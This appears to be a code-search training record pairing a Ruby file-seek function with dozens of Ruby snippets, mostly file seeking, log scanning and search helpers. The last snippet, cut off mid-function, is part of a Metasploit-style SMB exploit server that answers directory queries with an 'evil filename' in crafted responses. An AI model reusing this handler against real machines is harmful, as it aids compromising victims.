file.seek(rewind_pos, IO::SEEK_SET)
return file
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def file_seek_to_time(file, time_obj, logger)\r\n\t\tfile.seek(0, IO::SEEK_END)\r\n\t\tend_pos = file.pos\r\n\t\tfile.rewind\r\n\t\tfile = seek_to_time_helper(file, time_obj, 0, end_pos, logger)\r\n\t\tstarting_line_pos = file.pos\r\n\r\n\t\tfile.each do |line|\r\n\t\t\tif(line =~ NEW_ACTION_REGEX)\r\n\t\t\t\tthis_time = Time.parse($1)\r\n\t\t\t\tif this_time >= time_obj\r\n\t\t\t\t\tfile.seek(starting_line_pos, IO::SEEK_SET)\r\n\t\t\t\t\tbreak\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t\tstarting_line_pos = file.pos\r\n\t\tend\r\n\t\tfile\r\n\tend",
"def seek_by(amount)\n return unless running?\n info \"SEEK BY: #{amount}\"\n send_command :seek, amount, 0\n end",
"def get_next_action_time(file)\r\n\t\tstart_pos = file.pos\r\n\t\tnext_time = get_next_result_time(file)\r\n\t\tfile.seek(start_pos, IO::SEEK_SET)\r\n\t\tnext_time\r\n\tend",
"def wait(seconds = INFINITE)\n seconds *= 1000 unless seconds == INFINITE\n \n fni = 0.chr * 65536 # FILE_NOTIFY_INFORMATION struct buffer \n rbytes = [0].pack('L')\n qbytes = [0].pack('L')\n\n subtree = @recursive ? 1 : 0\n dir_handle = get_dir_handle(@path) \n comp_key = [12345].pack('L')\n \n begin\n comp_port = CreateIoCompletionPort(dir_handle, 0, comp_key, 0)\n \n if comp_port == 0\n raise Error, get_last_error\n end\n\n bool = ReadDirectoryChangesW(\n dir_handle,\n fni,\n fni.size,\n subtree,\n @filter,\n rbytes,\n @overlap,\n 0\n )\n \n unless bool\n raise Error, get_last_error\n end\n \n while true\n bool = GetQueuedCompletionStatus(\n comp_port,\n qbytes,\n comp_key,\n @overlap,\n seconds\n )\n \n unless bool\n raise Error, get_last_error\n end\n \n @signaled = true\n @event.signaled = true\n \n break if comp_key.unpack('L').first == 0\n \n yield get_file_action(fni) if block_given?\n \n bool = ReadDirectoryChangesW(\n dir_handle,\n fni,\n fni.size,\n subtree,\n @filter,\n rbytes,\n @overlap,\n 0\n )\n \n unless bool\n raise Error, get_last_error\n end\n end\n ensure \n CloseHandle(dir_handle)\n end\n end",
"def log_start_position(seek_pos, old_pos = 0)\n # Don't try and seek past the beginning or end of the file\n return FILE_SIZE if seek_pos >= FILE_SIZE\n return 0 if seek_pos <= 0\n \n debug \"Seeking to #{seek_pos} (#{(seek_pos/FILE_SIZE.to_f) * 100}%), offset is #{seek_pos - old_pos}\"\n \n LOGFILE.seek(seek_pos)\n \n # discard the first line, it could be incomplete\n LOGFILE.readline\n return LOGFILE.pos if LOGFILE.pos == FILE_SIZE\n ln = LOGFILE.readline\n date = datetime_from_string(ln)\n \n if date < FIVE_MINUTES_AGO\n # The position we are in in the file is too far back in time, jump forward\n new_pos = LOGFILE.pos + ((FILE_SIZE - LOGFILE.pos) / 2)\n debug \"Date #{date} is too old compared to #{FIVE_MINUTES_AGO.to_s}, new position is #{new_pos}\"\n return LOGFILE.pos if new_pos - LOGFILE.pos <= MIN_OFFSET\n return log_start_position(new_pos, seek_pos)\n else\n # The position we are in the file is too close to the present, jump back\n new_pos = LOGFILE.pos - ((seek_pos - old_pos) / 2)\n debug \"Date #{date} is too new compared to #{FIVE_MINUTES_AGO.to_s}, new position is #{new_pos}\"\n return LOGFILE.pos if LOGFILE.pos - new_pos <= MIN_OFFSET\n return log_start_position(new_pos, seek_pos)\n end\nend",
"def seek_contiguous_max(needle, step_lines = 10)\n\n file = @file\n max = nil\n\n # move to head of line\n seek_line_head\n\n loop do\n\n # file#pos before #forward_lines\n pos_old = file.pos\n\n lines = forward_lines(step_lines)\n lines_pos = lines.rindex(needle)\n\n # for debug\n # p [\n # lines: lines,\n # lines_pos: lines_pos,\n # file_pos: file.pos\n # ].to_s\n # sleep 0.05\n\n # if did not match needle\n # - returner is last set value to 'max'\n break if lines_pos.nil?\n\n lines_end_pos = str_byte_index(lines, /(\\r\\n|\\r|\\n)+?/, lines_pos)\n\n if lines_end_pos.nil?\n max = file.size if file.eof?\n break\n end\n\n max = pos_old + lines_end_pos\n\n # for debug\n # p [\n # lines: lines,\n # lines_bytesize: lines.bytesize,\n # lines_pos: lines_pos,\n # lines_end_pos: lines_end_pos,\n # file_pos: file.pos\n # ].to_s\n # sleep 0.05\n\n break if file.eof?\n break if lines_end_pos < lines.size - 1\n end\n\n file.seek(max) unless max.nil?\n max\n end",
"def seek_contiguous_min(needle, step_lines = 10)\n\n file = @file\n min = nil\n\n # move to head of line\n seek_line_head\n\n loop do\n\n lines = backward_lines(step_lines)\n lines_pos = str_byte_index(lines, needle)\n file_pos = file.pos\n\n # for debug\n # p [\n # lines: lines,\n # lines_pos: lines_pos,\n # file_pos: file_pos\n # ].to_s\n # sleep 0.05\n\n if lines_pos.nil?\n break\n else\n\n min = file_pos + lines_pos\n\n # if not first line, add 1 to result\n min += 1 if file_pos > 0\n\n break if lines_pos > 0 || file_pos < 1\n end\n end\n\n file.seek(min) unless min.nil?\n min\n end",
"def latest_file_index\n latest_index = 0\n latest_time = Time.at(0)\n (0..MAX_SAVE_SLOT-1).each do |i|\n filename = make_filename(i)\n next if !FileTest.exist?(filename)\n file_time = File.mtime(filename)\n if file_time > latest_time\n latest_time = file_time\n latest_index = i\n end\n end\n return latest_index\n end",
"def run_file_scan(configuration_item)\r\n @file_scan_thread_group.add(\r\n Thread.new(configuration_item) { |path_item|\r\n Thread.current[:name] = 'file_scan'\r\n begin\r\n Thread.handle_interrupt(RuntimeError => :on_blocking) {\r\n loop {\r\n begin\r\n Thread.handle_interrupt(StopError => :immediate) {} if Thread.pending_interrupt?\r\n Dir.glob(path_item['path']) { |file_path|\r\n Thread.handle_interrupt(StopError => :immediate) {} if Thread.pending_interrupt?\r\n next unless File.mtime(file_path) <= (Time.now - path_item[:scan_delay].to_i)\r\n inode = Filebot.inode(file_path)\r\n @seekdb[inode] = [ file_path, 0 ]\r\n File.open(file_path, 'rt', path_item['options']) { |file|\r\n file.seek(@seekdb.pos(inode))\r\n file.each { |line|\r\n Thread.handle_interrupt(StopError => :immediate){} if Thread.pending_interrupt?\r\n @seekdb[inode] = [ file.path, file.pos ]\r\n line_hash = parse_line_to_format(line.encode({ invalid: :replace, undef: :replace }),file,path_item)\r\n @block_q.enq(line_hash)\r\n Thread.pass\r\n }\r\n }\r\n if path_item[:remove_file] and @seekdb.pos(inode) == File.size(file_path)\r\n File.delete(file_path) rescue nil\r\n @seekdb.delete_key(inode)\r\n end\r\n Thread.pass\r\n }\r\n Thread.pass\r\n rescue StopError\r\n raise\r\n rescue => exc\r\n @log.write(self, 'error', exc.inspect)\r\n @log.write(self, 'debug', exc.backtrace.join(\"\\n \"))\r\n sleep(1)\r\n end\r\n }\r\n }\r\n rescue StopError\r\n @log.write(self, 'info', 'stop')\r\n rescue => exc\r\n @log.write(self, 'error', exc.inspect)\r\n ensure\r\n @seekdb.dump\r\n end\r\n }\r\n )\r\n end",
"def seek_to_time(seconds)\n return unless running?\n info \"SEEK TO: #{seconds} seconds\"\n send_command :seek, seconds, 1\n end",
"def diskPositionAtTime(t)\n (@startPos + t) % @totalPos\n end",
"def seek\n end",
"def seek\n end",
"def search_backwards(file, backwards: T.unsafe(nil)); end",
"def convert_key_to_index key\n i = IDX.index(key)\n return nil unless i\n\n # @log.debug \"get_index with #{key}: #{i}. #{@stact}. #{@vps}\"\n # TODO: if very high key given, consider going to last file ?\n # that way one can press zz or ZZ to go to last file.\n # 2019-04-11 - XXX actually this doesnt place the cursor on last file\n # it opens it, which may not be what we want\n retnil = nil # vps - 1 # nil\n # user has entered a key that is outside of range, return nil\n return retnil if @stact == 0 && i + @stact >= @vps\n\n # again, key out of range\n # return nil if @stact > 0 && i + @stact >= @vps && i + @stact - @vps >= @stact\n return retnil if @stact > 0 && i + @stact >= @vps && i - @vps >= 0\n\n # panning case, hints are recycled\n return (i + @stact) - @vps if i + @stact >= @vps\n\n # regular hint\n return i + @stact # if i\n\nend",
"def get_time_of_last_file_action(file)\r\n\t\tresult_time = nil\r\n\t\tstarting_pos = file.pos\r\n\t\tfile.seek(0, IO::SEEK_END)\r\n\t\tfile.seek(file.pos-[10000, file.pos].min, IO::SEEK_SET)\r\n\t\t\r\n\t\twhile(!file.eof? && (this_line = file.readline))\r\n\t\t\tresult_time = Time.parse($1) if(this_line =~NEW_ACTION_REGEX)\r\n\t\tend\r\n\r\n\t\t# Reset file\r\n\t\tfile.seek(starting_pos, IO::SEEK_SET)\r\n\t\tresult_time\r\n\tend",
"def fileseek(offset = 0, _message = nil)\n # st = Time.now\n @fHnd.seek(offset, IO::SEEK_SET)\n # $log.warn \"seek time [#{Time.now-st}] from [#{message}]\" if $log\n end",
"def time_to_pos time, exceed = false\n\t\t\tpos_found = nil\n\t\t\tif time\n\t\t\t\tprev_pos = 0\n\t\t\t\teach_with_pos(nil, nil, ID_TIME){|timestamp,data,pos|\n\t\t\t\t\tif timestamp > time\n\t\t\t\t\t\tpos_found = (exceed ? pos : prev_pos)\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\t\tprev_pos = pos\n\t\t\t\t}\n\t\t\tend\n\t\t\tpos_found\n\t\tend",
"def read_next_move\n\t\t\t\tms = read_acpc_matchstate\n\t\t\t\treturn ms[:last_action]\n\t\t\tend",
"def timeout_match_files(pattern, timeout = 5)\n now = Time.now.utc\n\n Dir[pattern].each do |fname|\n ts = timestamp_from_filename(fname)\n if (now - ts).abs <= timeout\n return fname\n end\n end\n\n raise \"No file matching '#{pattern}' with a timestamp in the last #{timeout} \"\\\n \"seconds was found!\"\nend",
"def seek_index(index_)\n if @opened && index_ >= 0 && index_ <= @num_records\n if index_ < @num_records && index_ != @cur_record_index\n @index_file.seek(100+8*index_)\n offset_ = @index_file.read(4).unpack('N').first\n @main_file.seek(offset_*2)\n end\n @cur_record_index = index_\n true\n else\n false\n end\n end",
"def monitor_for(options = {})\n # Loop and wait till event is detected.\n lcnt = 0\n scount = 0\n while true\n while line = @rchan.gets\n if yield(line, lcnt)\n return true\n end\n lcnt += 1\n end\n sleep 1\n if fptimer = options[:filepos]\n scount += 1\n if scount >= fptimer\n send \"get\"\n scount = 0\n end\n end\n end\n false\n end",
"def seek _value, _type=0\n send_cmd(\"seek #{_value} #{_type}\")\n end",
"def findEndBuffer\n offset = @file_size - 4\n while EVENTRECORDLENGTH.decode(read_buffer(offset, 4, -1))[:record_length] == 0x27\n offset -= 4\n end\n offset + 4\n end",
"def forwardtrack_searching(location, expectation)\n result = location.dup\n line = lines[result[0] - 1]\n begin\n if (expectation_location = line.index(expectation, result[1]))\n result[1] = expectation_location + expectation.size\n return result\n end\n result[0] += 1\n result[1] = 0\n line = lines[result[0] - 1]\n end while result[0] <= lines.size\n location\n end",
"def seek_forward(amount = opts[:seek_size])\n seek_by(amount)\n end",
"def find_with_timeout(timeout_in_seconds, *loc_args)\n timeout = timeout_in_seconds.to_s.match(/^of_(\\d+)_second.*$/).captures[0].to_f\n the_locator, *the_hash = loc_args\n start_time = Time::now ; n_attempts = 0\n while all(the_locator, the_hash).count == 0 && ((Time::now - start_time) <= timeout) # in seconds\n n_attempts += 1\n end\n p elapsed_time = Time::now - start_time\n p n_attempts\n if elapsed_time <= timeout then\n p \"found \"+loc_args.to_s\n else raise loc_args.to_s+\" not found\" end\n find(the_locator, the_hash)\nend",
"def test_seek_at_position\n sample = stream.seek(10)\n assert_equal 10, stream.sample_index\n assert_equal Time.at(5), stream.time\n assert_equal [0, Time.at(5), 5], sample\n\n # Check that seeking did not break step / step_back\n assert_equal [1, Time.at(5, 500), 50000], stream.step\n assert_equal [0, Time.at(6), 6], stream.step\n assert_equal [2, Time.at(6, 500), 600], stream.step\n sample = stream.seek(10)\n assert_equal [2, Time.at(4, 500), 400], stream.step_back\n assert_equal [0, Time.at(4), 4], stream.step_back\n assert_equal [1, Time.at(3, 500), 30000], stream.step_back\n\n #check if seeking is working if index is not cached\n #see INDEX_STEP\n sample = stream.seek(21)\n assert_equal 21, stream.sample_index\n assert_equal Time.at(10,500), stream.time\n assert_equal [2, Time.at(10,500), 1000], sample\n end",
"def search_data(search) \n key = 0\n found = 0 \n @buffers[@active_buffer].last_displayed_line = 0\n @buffers[@active_buffer].clean_buffers_other_than([]) #clean all buffers\n @buffers[@active_buffer].add_previous_search(@buffers[@active_buffer-1].regex_array) \n while data = read_file(key) do \n break if data.length==1 \n set_data = @buffers[@active_buffer].loaded_data_size < @@BLOCK_SIZE*2 \n found += @buffers[@active_buffer].set_buffer_data(key,data,search,set_data)[1] \n key = @buffers[@active_buffer].get_next_buffer(key)\n break if key.nil? \n end\n Rula.log(Logger::INFO,\"Found #{found} items\",self) \n @file_eof = false\n end",
"def slow_dance(move, arr)\n arr.each_with_index do |dir, idx|\n return idx if move == dir\n end\nend",
"def seek(amount, whence=IO::SEEK_SET)\n whence = IO::Util.ruby_seek_to_apr(whence)\n err, pos = APR.apr_file_seek(@native_file, whence, amount)\n APR.raise_apr_errno(err)\n # TODO: Verify expected return value\n end",
"def detected_at(position, time, skip)\n puts \"position is #{position}, time is #{time}, skip is #{skip}\"\n return (time % (2 + (2 * (position - 2))) ) == 0\nend",
"def seek(amount, whence=SEEK_SET)\n #This is a stub, used for indexing\n end",
"def seek(amount, whence=SEEK_SET) end",
"def seek(x); @_io.seek(x); end",
"def seek(p0) end",
"def findExistingPieces\n id = returnAndIncrRequestId\n return id if @state == :after_stop\n @requests.push [id, :find_existing]\n @requestsSemaphore.signal\n id\n end",
"def wait_for_changes(threshold = 0)\n changes = 0\n\n loop do\n mutex.synchronize { changes = changed_directories.size }\n\n return if paused || stopped\n return if changes >= threshold\n\n sleep(latency)\n end\n end",
"def check_index_walk\n if first['index_walk']\n @cost = limit\n add_message(\"index_walk\")\n end\n end",
"def scan_logfile(file, backlog_minutes, pattern)\n offset_found = false\n from_time = Time.now - backlog_minutes*60\n offset = from_time.to_s.split[1..3].join(\" \")\n File.open(file) do |f|\n while line = f.gets do\n tokens = line.split[0..3]\n hour, min, sec = tokens[2].split(\":\")\n t = Time.local(Time.now.year, tokens[0], tokens[1].to_i, hour.to_i, min.to_i, sec.to_i)\n if t > from_time\n offset_found = true\n end\n if offset_found and line =~ pattern\n return line\n end\n end\n end\nend",
"def test_seek_at_time\n #no sample must have a later logical time\n #seek returns the last sample possible\n sample = stream.seek(Time.at(5))\n assert_equal 10, stream.sample_index\n assert_equal Time.at(5), stream.time\n assert_equal [0, Time.at(5), 5], sample\n\n # Check that seeking did not break step / step_back\n assert_equal [1, Time.at(5,500), 50000], stream.step\n assert_equal [0, Time.at(6), 6], stream.step\n assert_equal [2, Time.at(6, 500), 600], stream.step\n sample = stream.seek(Time.at(50))\n assert_equal [1, Time.at(49, 500), 490000], stream.step_back\n assert_equal [0, Time.at(49), 49], stream.step_back\n assert_equal [2, Time.at(48, 500), 4800], stream.step_back\n end",
"def seek(amount, whence=IO::SEEK_SET)\n #This is a stub, used for indexing\n end",
"def binary_search_while_loop(array, desired_num)\n\n start_index = 0\n end_index = array.length - 1\n\n while start_index <= end_index\n mid_index = (start_index + end_index) / 2\n\n if array[mid_index] == desired_num\n return mid_index\n elsif array[mid_index] > desired_num\n end_index = mid_index - 1\n elsif array[mid_index] < desired_num\n start_index = mid_index + 1\n end\n\n end\n\n return -1\nend",
"def on_seek(evt)\n offset = @slider.value\n @mc.seek(offset)\n end",
"def seek(*rest) end",
"def seek(*rest) end",
"def read_from_last?(file_handle, stat)\n # seek to last position + 1\n old_size = @size\n @size = stat.size\n @mtime = stat.mtime\n Snoopit.logger.debug \"File pointer at byte: #{file_handle.tell}\"\n file_handle.seek old_size, IO::SEEK_SET\n Snoopit.logger.debug \"Starting read from byte: #{file_handle.tell} destination byte #{old_size} new size #{@size}\"\n true\n end",
"def should_index_this_document?(complete_path)\n last_itime=index_time_dbm_file[complete_path]\n @from_scratch || !last_itime || File.mtime(complete_path)> Time._load(last_itime) \n end",
"def fast_forward_disk(time_going_forward)\n if (@dvd_time_move - time_going_forward) < @dvd.length\n @dvd_time_move = @dvd_time_move + time_going_forward\n else\n @dvd_time_move = @dvd.length\n end\n end",
"def binary_search(array, length, value_to_find)\n # take the length and divide in half,\n # start_index = 0\n # end_index = length - 1\n # midpoint = length / 2\n # until start_index > end_index\n #\n # end\n\nend",
"def search_goto_pos line, leftcol, rightcol\n search_goto_line line\n\n if rightcol > self.rightcol # if it's occluded...\n jump_to_col [rightcol - buffer.content_width + 1, 0].max # move right\n end\n end",
"def search(sp)\n hit = -1\n @buffer.each_with_index do |line, index|\n if line[1] == sp\n hit = index\n break\n end\n end\n\n if hit > -1\n @buffer.each do |line|\n # Decrement LRU for those that are greater than the hit entry\n if line[0] > @buffer[hit][0]\n line[0] -= 1\n end\n end\n # set LRU to max\n @buffer[hit][0] = 3\n @buffer[hit][2]\n else\n -1\n end\n end",
"def index_for_time(t)\n LOCK.mu_synchronize {\n if t != @@index_time\n @@index = 0\n @@index_time = t\n end\n retval = @@index\n @@index += 1\n retval\n }\n end",
"def wait\n Kernel.sleep self.interval until check_files\n end",
"def progressive_find\n swap = false\n range = 7\n while(!swap)\n check_excess_range(range)\n available_days = swappable_days(range)\n if available_days.count > 0\n return available_days\n end\n range *= 2\n end\n end",
"def search\n prepare_search\n catch :success do\n # Main iteration loop\n @max_iterations.times do |iteration|\n begin # RuntimeError rescue block\n # At the start of each iteration\n prepare_each_run\n if @banned_points.has_key?(path.last) && path.size == 1\n throw :success\n end\n debug_each_iteration iteration\n going = catch :keep_going do\n message = catch :jump_back do\n # cost_vector is a list of all adjacent points with their \n # respective costs\n candidate_list = get_candidate_list\n begin # IndexError rescue block\n # If we've run out of all possible points, step back and keep \n # trying. Only works when candidate_list#size is the largest\n # dimension, i.e., for a normal Array of NArrays. For NArray, \n # #size gives the total number of elements.\n if @interval_index >= candidate_list.size \n throw :jump_back, \"index #{@interval_index} is out of range\"\n end\n # Load up the candidate from the cost_vector\n candidate = candidate_list[@interval_index]\n candidate_cost = get_cost candidate\n # Skip all candidates that are banned, are already in the path, \n # or don't get us any closer.\n while (@banned_points.has_key? candidate.hash) || (@path.include? candidate) || (candidate_cost >= @current_cost)\n @interval_index += 1\n # If we've exhausted all possible intervals, jump back\n if @interval_index >= candidate_list.size\n @banned_points[candidate.hash] = 1\n throw :jump_back, \"index #{@interval_index} is out of range\"\n end\n # Get the movement that is at the current index\n candidate = candidate_list[@interval_index]\n candidate_cost = get_cost candidate\n end\n # Add it to the path!\n @path << candidate\n @current_cost = candidate_cost\n rescue IndexError => er\n puts \"\\nIndexError: #{er.message}\"\n print er.backtrace.join(\"\\n\")\n throw :jump_back\n rescue RangeError => er\n # If handle_range_error has not been defined in a subclass, any \n # call will just re-raise the exception\n handle_range_error er\n end\n # Judge success\n if @current_cost < @epsilon\n @current_point = @path.last\n prepare_result\n throw :success\n else\n @initial_run = true\n throw :keep_going, true\n end\n end # catch :jump_back\n if @debug_level > 1\n puts message\n end\n jump_back\n end # catch :keep_going\n if going\n keep_going\n going = false\n end\n rescue RuntimeError => er\n puts \"\\n#{er.message}\"\n print er.backtrace.join(\"\\n\")\n print \"\\n\\nPath: #{@path.to_a}\\n\"\n break\n end #RuntimeError block\n end # main iteration loop\n end # catch :success\n debug_final_report\n prepare_data\n @data\n end",
"def wait_until(index)\n\t\t@wait = index\n\tend",
"def seek(seconds) \n\t\tsynchronized do\n\t\t\t@vlc.puts \"seek #{seconds}\"\n\t\tend\n\tend",
"def seek(amount, whence=IO::SEEK_SET)\n sysseek(amount, whence)\n end",
"def sysseek\n end",
"def read_sequence(arr, curr_pos)\n n = arr.length\n idx = curr_pos + 1\n (n - curr_pos - 1).times do \n if arr[idx] < arr[idx - 1]\n return idx\n end\n idx += 1\n end\n \n n\nend",
"def around_lines(needle)\n\n file = @file\n pos = file.pos\n result = \"\"\n\n # scan min\n file.seek(pos)\n min = seek_contiguous_min(needle) || pos\n\n # scan max\n file.seek(pos)\n max = seek_contiguous_max(needle) || pos\n\n # for debug\n # p [\n # pos: pos,\n # min: min,\n # max: max\n # ].to_s\n # sleep 0.05\n\n # read\n # - require succeed scan processes\n if max > min\n file.seek(min)\n result = file.read(max - min)\n end\n\n result\n end",
"def search_from_cursor(index)\n\t\tif index == cursor_index\n\t\t\tcursor_node\n\t\telsif index > cursor_index\n\t\t\tcurrent_node = cursor_node\n\t\t\t(index-cursor_index).times do |i|\n\t\t\t\tcurrent_node = current_node.next_node\n\t\t\tend\t\n\t\t\tupdate_cursor(node: current_node, index: index)\t\t\t\n\t\t\tcurrent_node\t\t\t\n\t\telse\n\t\t\tcurrent_node = cursor_node\n\t\t\t(index-cursor_index).times do |i|\n\t\t\t\tcurrent_node = current_node.previous_node\n\t\t\tend\t\n\t\t\tupdate_cursor(node: current_node, index: index)\t\t\t\n\t\t\tcurrent_node\n\t\tend\t\t\n\tend",
"def get_scans_for_last(seconds_ago)\n Scan.find(:all, :conditions => [\"complete > ? and complete <= ?\", complete - seconds_ago, complete])\n end",
"def scan_now\r\n # Setup the checks\r\n # ToDo: CRC\r\n checks = {\r\n \t :name => {\r\n :use=>false,\r\n :proc=>Proc.new{ |the_file,stats| the_file.path }\r\n },\r\n :date => {\r\n :use=>false,\r\n :proc=>Proc.new{ |the_file,stats| stats.mtime }\r\n },\r\n :size => {\r\n :use=>true,\r\n :proc=>Proc.new{ |the_file,stats| stats.size }\r\n },\r\n }\r\n checks.each_pair{ |check_name,check|\r\n check[:use] = (@onmodify_checks == check_name) || ( @onmodify_checks.respond_to?( :include? ) && @onmodify_checks.include?( check_name ) )\r\n }\r\n\r\n #Check for add/modify\r\n @directory.rewind\r\n count = 0\r\n @directory.each{ |fname|\r\n file_path = \"#{@directory.path}/#{fname}\"\r\n next if (@name_regexp.respond_to?( :match ) && !@name_regexp.match( fname )) || !File.file?( file_path )\r\n the_file = File.new( file_path )\r\n file_stats = File.stat( file_path )\r\n\r\n saved_stats = @known_file_stats[file_path]\r\n new_stats = {}\r\n checks.each_pair{ |check_name,check|\r\n new_stats[check_name] = check[:proc].call( the_file, file_stats )\r\n }\r\n\r\n\t @known_files.push file_path if !@known_files.include? file_path\r\n\r\n if saved_stats\r\n if @on_modify.respond_to?( :call )\r\n sufficiently_modified = @onmodify_requiresall\r\n saved_stats = @known_file_stats[file_path]\r\n checks.each_pair{ |check_name,check|\r\n stat_changed = check[:use] && ( saved_stats[check_name] != new_stats[check_name] )\r\n if @onmodify_requiresall\r\n sufficiently_modified &&= stat_changed\r\n else\r\n sufficiently_modified ||= stat_changed\r\n end\r\n saved_stats[check_name] = new_stats[check_name]\r\n }\r\n @on_modify.call( the_file, saved_stats ) if sufficiently_modified\r\n end\r\n elsif @on_add.respond_to?( :call ) && (@scanned_once || @onadd_for_existing)\r\n @known_file_stats[file_path] = new_stats\r\n @on_add.call( the_file, new_stats )\r\n count += 1\r\n end\r\n the_file.close\r\n }\r\n\r\n # Check for removed files\r\n if @on_remove.respond_to?( :call )\r\n @known_file_stats.each_pair{ |path,stats|\r\n next if File.file?( path )\r\n stats[:path] = path\r\n @on_remove.call( stats )\r\n @known_file_stats.delete(path)\r\n }\r\n end\r\n\r\n @scanned_once = true\r\n return count\r\n end",
"def include_in_time_range?(string,array,filename)\n\t \n\tend_of_file=string.sub(/\\s/,\".\").split(\".\")\n\tend_of_file_time=Time.mktime(end_of_file[2],end_of_file[1],end_of_file[0],end_of_file[3],end_of_file[4],end_of_file[5])\n\tnumber_of_seconds=get_video_duration(filename)\n\tarray_start_time_s=array[0].sub(/\\s/,\".\").split(\".\")\n\t\n\tarray_start_time=Time.mktime(array_start_time_s[2],array_start_time_s[1],array_start_time_s[0],array_start_time_s[3],array_start_time_s[4],array_start_time_s[5],array_start_time_s[6])\n\t\n\tif (array[1]==nil or array[1]==\"\") then return (end_of_file_time>=array_start_time) end\n\t\n\tarray_end_time_s=array[1].sub(/\\s/,\".\").split(\".\")\n\tarray_end_time=Time.mktime(array_end_time_s[2],array_end_time_s[1],array_end_time_s[0],array_end_time_s[3],array_end_time_s[4],array_end_time_s[5],array_end_time_s[6])\n\treturn ((((array_end_time-end_of_file_time)>=0) and (number_of_seconds>=(array_end_time-end_of_file_time))) or ((0>=(array_end_time-end_of_file_time)) and (number_of_seconds>=(end_of_file_time-array_end_time))))\nend",
"def swipes_to_template_on_the_screen(template_path, direction = \"down\", max_swipes = 5)\n logc(\"method: #{__method__}, params: #{template_path}, #{direction}, #{max_swipes}\")\n direction_list = [\"up\", \"down\", \"left\", \"right\"]\n assert_true_custom(direction_list.include?(direction),\n \"Wrong param 'direction'. Should be one of #{direction_list}, but found '#{direction}'\")\n\n #wait for swipes numbers reached OR expectation reached\n res_of_finding = nil\n res_image_path = nil\n occurrences = nil\n is_expectation_reached = false\n attempt_counter = 1\n while true\n logc(\"Attempt: '#{attempt_counter}'\")\n res_of_finding, res_image_path = get_templates_on_the_screen(template_path, 0.85)\n occurrences = res_of_finding[\"point_clouds\"].to_i\n is_expectation_reached = occurrences > 0\n\n if is_expectation_reached || (attempt_counter > max_swipes)\n break\n else\n swipe(direction)\n attempt_counter += 1\n end\n end\n\n assert_true_custom(is_expectation_reached,\n \"During #{attempt_counter} swipes, found '#{occurrences}' occurrences templates '#{File.basename(template_path)}' on the screen.\" +\n \" Check report folder '#{@report_path}' to details.\")\n # remove_file_if_exist(res_image_path) if is_expectation_reached\nend",
"def get_next_available_counter\n if @last_filename_counter\n @last_filename_counter + 1\n else\n last_used_counter + 1\n end\n end",
"def find(what = $ruvim.input(@prompt), offset=0, direction=:bottom, continue=:top)\n\t\t\tposition = find_a($ruvim.buffer.index + offset, direction)\n\n\t\t\tif position.nil? then\n\t\t\t\t$ruvim.message \"Search Hit #{direction}. Continuing at #{continue}\"\n\t\t\t\tfrom = (direction == :bottom) ? 0 : $ruvim.editor.buffer.eof\n\t\t\t\tposition = find_a(from, direction)\n\n\t\t\t\treturn not_found if position.nil?\n\t\t\tend\n\t\t\t\n\t\t\t$ruvim.editor.goto(position)\n\t\tend",
"def seek\n while @next < @n && @ptns[@next].size == @nums[@next]\n @next += 1\n end\n @next < @n # return true/false\n end",
"def next_candidate\n file_rec = nil\n # loop until a candidate with metadata is retrieved\n loop do\n # Get the next page of results if the previous page has been processed\n fetch_next_page if @result_set.nil? || @result_set.empty?\n\n # Retrieve the next possible candidate path from the page\n next_path = @result_set.shift\n # given that the page was just retrieved, getting a nil path indicates that the retrieved page of\n # candidates is empty and there are no more candidates to iterate at this time.\n return nil if next_path.nil?\n\n logger.debug(\"Retrieved candidate #{next_path}\")\n storage_loc = @app_config.location_manager.get_location_by_path(next_path)\n file_rec = FileRecord.new(next_path, storage_loc)\n\n # Keep seeking until a registered candidate is found, according to the file system.\n if file_rec.metadata_present?\n break\n else\n logger.warn(\"Encountered #{next_path} in index, but path is not registered. Clearing out of synch entry.\")\n @index_manager.remove(file_rec)\n end\n end\n\n @app_config.md_manager.load(file_rec)\n\n file_rec\n end",
"def work!\n (@start..@stop).each {|i| return if $found; d = $data[i]; $found = true and puts \"Found #{d}\" if d == $search_key }\n end",
"def wait_for(pattern)\n $_api_exec_state = :wait_for\n if pattern.is_a?(Array)\n pattern = Regexp.new(pattern.join('|'))\n end\n\n (0..1000000).each do\n line = API::sync_read\n if line and line.match(pattern)\n $_api_exec_state = :none\n return\n end\n sleep 0.01\n end\nend",
"def seek_start\n seek_to_percent(0.0)\n end",
"def smb_cmd_trans2_find_first2(cmd, c, buff, smb)\n\n # get the requested pattern of the find_first2 command\n recv_pkt = CONST::SMB_TRANS2_PKT.make_struct\n recv_pkt.from_s(buff)\n\n payload = recv_pkt['Payload'].to_s\n offset = recv_pkt['Payload'].v['ParamOffset']\n\n # 6 bytes to skip to the Level of Interest parameter\n recv_interest = payload[(offset + 6)..(offset + 6 + 1)].unpack(\"v\").first\n\n # 12 bytes to skip to the Search Pattern parameter\n recv_filename = payload[(offset + 12)..payload.length] \n\n # remove the leading \\ from the received filename\n if recv_filename[0..1] == \"\\x5c\\x00\" then filename = recv_filename[1..-2] # strip the / unicode\n elsif recv_filename[0..0] == \"\\x5c\" then filename = recv_filename[1..-1] # strip the / ascii\n else filename = recv_filename end # default to received filename\n\n # if default search request, the dir command of *, then return our evil filename\n if filename[0..1] == \"\\x00\\x2a\" or filename[0..0] == \"\\x2a\" then filename = Rex::Text.to_unicode(@filename) end\n \n # strip nulls, and encode with unicode. this will also strip out tailing \\x00s\n if filename[0..0] == \"\\x00\" then filename = Rex::Text.to_unicode(filename.gsub(/\\x00/,'')) end\n\n # start to build the response\n pkt = CONST::SMB_TRANS_RES_PKT.make_struct\n smb_set_defaults(c, pkt)\n\n pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2\n pkt['Payload']['SMB'].v['Flags1'] = 0x98\n pkt['Payload']['SMB'].v['Flags2'] = 0xc807\n pkt['Payload']['SMB'].v['WordCount'] = 10\n pkt['Payload'].v['ParamCountTotal'] = 10\n \n case recv_interest\n\n when 0x0104 # Find File Both Directory Info\n\n # occurs during Windows XP group policy reboot\n print_status(\"#{smb[:name]}/#{smb[:user_id]}: SMB_COM_TRANSACTION2 (Subcommand: FIND_FIRST2 (0x0001); Search Pattern: '#{recv_filename}'; Find File Both Directory Info 0x0104)\")\n\n # calculate filename offset\n pkt['Payload'].v['DataCountTotal'] = 94 + filename.length\n pkt['Payload'].v['ParamCount'] = 10\n pkt['Payload'].v['ParamOffset'] = 56\n 